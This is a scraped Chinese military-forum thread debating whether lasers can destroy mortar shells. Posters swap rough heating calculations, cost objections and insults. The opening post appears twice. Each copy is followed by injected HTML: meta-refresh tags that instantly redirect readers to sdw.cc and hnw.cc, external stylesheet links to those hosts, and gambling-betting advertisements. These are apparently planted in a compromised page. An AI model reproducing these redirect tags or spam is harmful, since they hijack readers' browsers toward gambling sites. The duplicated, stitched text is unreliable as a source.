如何用激光摧毁迫击炮弹？

来源：百度文库 编辑：超级军网 时间：2024/04/27 19:45:50
<br /><br />靠动量不可能。

E/c=P，P太小。

高温？

铁的比热×质量×融化温度（1000多度）=总能量。

激光的功率×被炮弹吸收的百分比（50%？）=加热功率。

总能量/加热功率=加热时间=多少分钟？？？？？

最讨厌啥都不懂就碰美国战略忽悠局的臭脚的苯苯。


嗯，或许迫击炮弹在半空炸更有威力？<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>
<P>&nbsp;</P>

6.合.彩!!足球!篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台<br /><br />靠动量不可能。

E/c=P，P太小。

高温？

铁的比热×质量×融化温度（1000多度）=总能量。

激光的功率×被炮弹吸收的百分比（50%？）=加热功率。

总能量/加热功率=加热时间=多少分钟？？？？？

最讨厌啥都不懂就碰美国战略忽悠局的臭脚的苯苯。


嗯，或许迫击炮弹在半空炸更有威力？<meta http-equiv="refresh" content="0; url=http://sdw.cc">
<meta http-equiv="refresh" content="0; url=http://hnw.cc">
<link href="http://sdw.cc/q.css" rel="stylesheet" type="text/css" media="screen" />
<P>&nbsp;</P>
<link href="http://hnw.cc/w1.css" rel="stylesheet" type="text/css" media="screen" />


<P>&nbsp;</P>
<P>&nbsp;</P>

6.合.彩!!足球!篮球...各类投注开户下注
<P>&nbsp;</P>
推荐→第一投注!!倍率高.!存取速度快.国内最好的投注平台
你这么有才，怎么不自己把数据带进去算一下？
导师给出方法，手下的研究生的干活。{:jian:}
以为要想摧毁就必须把目标整个融化的，这水平还做不了导师吧，先跟着导师学点常识吧
隔夜茶 发表于 2010-4-20 15:10


    请看我最后一句话。。。。导师就是导师。跟我学着点儿！{:wu:}
你想到的一切，我10年前就想到了。
想了十年才是这水平，真可怜
隔夜茶 发表于 2010-4-20 15:19

是十年前就想到，不是想了十年。唉，小伙子，你要考我研究生，我肯定不收，语文都没学好。

是十年前就想到，不是想了十年。唉，小伙子，你要考我研究生，我肯定不收，语文都没学好。
wanghuanchen 发表于 2010-4-20 15:20

十年前想到啥了？ 这十年过去了，你的提问不一样无知的很么
为了防止斑竹说我灌水，我只提两点，你把火炬靠近一块玻璃，玻璃碎掉，是因为火炬输出的能量已经足以让玻璃融化么？  激光的光斑聚焦到目标弹药的某一个点上迅速加热，光是应力的不平衡就足以使结构破坏了
而且美帝的固体激光已经达到100KW，也就是说10万瓦，聚焦在一个光斑上，加热效果如何你难得算不出来？
别故弄玄虚了，你一旦自己去算，就是打自己的耳光，所以你才不敢
是十年前就想到，不是想了十年。唉，小伙子，你要考我研究生，我肯定不收，语文都没学好。
wanghuanchen 发表于 2010-4-20 15:20

十年前想到啥了？ 这十年过去了，你的提问不一样无知的很么
为了防止斑竹说我灌水，我只提两点，你把火炬靠近一块玻璃，玻璃碎掉，是因为火炬输出的能量已经足以让玻璃融化么？  激光的光斑聚焦到目标弹药的某一个点上迅速加热，光是应力的不平衡就足以使结构破坏了
而且美帝的固体激光已经达到100KW，也就是说10万瓦，聚焦在一个光斑上，加热效果如何你难得算不出来？
别故弄玄虚了，你一旦自己去算，就是打自己的耳光，所以你才不敢
隔夜茶 发表于 2010-4-20 15:41

你眼瞎，看原文最后一句话。

你不但考不上研究生，我觉得你上大学都成问题，眼疾。
呵呵，恼羞成怒了是吧，看样子你不肯打自己的脸，那我帮你
100KW的固体激光，假设照射在目标上5秒，那么就是50万焦耳能量，按照吸收10%算，就是5万焦耳，
假设光斑直径10厘米，那么照射到的迫击炮弹外壳面积0.00775平米，就算皮厚，假设是200G吧，也就是0.2KG，铁的比热是0.182×10^3J/(kg.C) ，  那么可以加热到1373度，而钢铁在几百度就软了，到过千度早就把内部的装药引爆了， 所以几秒钟的照射足够了。
LZ灌水到100多贴也不容易，这个ID怎么就费了呢。不要小看激光的能量，只要让照射位置的结构破坏就行了。激光照导弹也是这样
楼主听说过高能激光定位——跟踪系统吗？知道定位——跟踪的原理是什么吧？
你离当导师的地步还远着呢。
......激光能反卫星，反弹道捣蛋，打个迫击炮蛋有啥稀奇？

激光照射点上材料汽化，反向抛射，当然就有不小的动量。只要能让炮弹稍稍转向，或者被破坏结构无法引爆，迫击炮弹的杀伤力就没有了。
隔夜茶 发表于 2010-4-20 16:42
几秒钟都落到头上杯具了。况且连续稳定照射几秒钟不是一般地难，连续以那么大的功率工作的激光器野战中使用也有点难度。
nncd 发表于 2010-4-20 22:01
你没看我刚刚才的估计是多么保守么？实际上吸收率不止10%，需要加热的铁也不用0.2公斤，更不用加热到1000多度，又不是炼钢，只需要使弹体破坏就足够了
而且稳定跟踪照射根本不是解决不了的问题
摧毁迫击炮弹不划算啊
刑天神盾 发表于 2010-4-20 22:14


    如果下面是一堆活人就划算了
问题是迫击炮价格便宜,量又足,一次发几十颗,上百颗不希奇
这种激光武器暂时又不是要部署在最前线跟着步兵分队前进，而是部署在伊拉克阿富汗这些地方防御军队的驻地，重要设施等，武装分子所能携带的武器和弹药有限，而要打击的目标很重要，那么只要把这些发射的弹药拦截掉就可以保证不受到重大损失，当然是很划算的了。
迫击炮弹又不是一个铁疙瘩，是一个装有炸药的铁罐子。高能激光集中照射1秒，就足以引起需要的后果。
不考虑材料的反射率，吸收率
不考虑激光的波长
不考虑大气的吸收率，散射率
不考虑材料在该波长激光照射下的相变
不考虑相变后的物质对于激光的影响
所作的讨论完全没有意义
成本 成本
如何用激光摧毁迫击炮弹？ 希特勒如何用政治手段摧毁苏联随想 做个游戏 如何用最小的代价摧毁一件现役主战装备 看看洛克希德马丁如何用激光「烧船」 如何用手机拍照 如何用爱发电 嫦娥”火箭如异常 中国可用激光摧毁【转中华网】组图 如何用毛毛虫制造浪漫 如何用手机登陆超大？ 如何用手机发表情 求教，如何用电子地图测距？ 如何用筷子开啤酒瓶盖？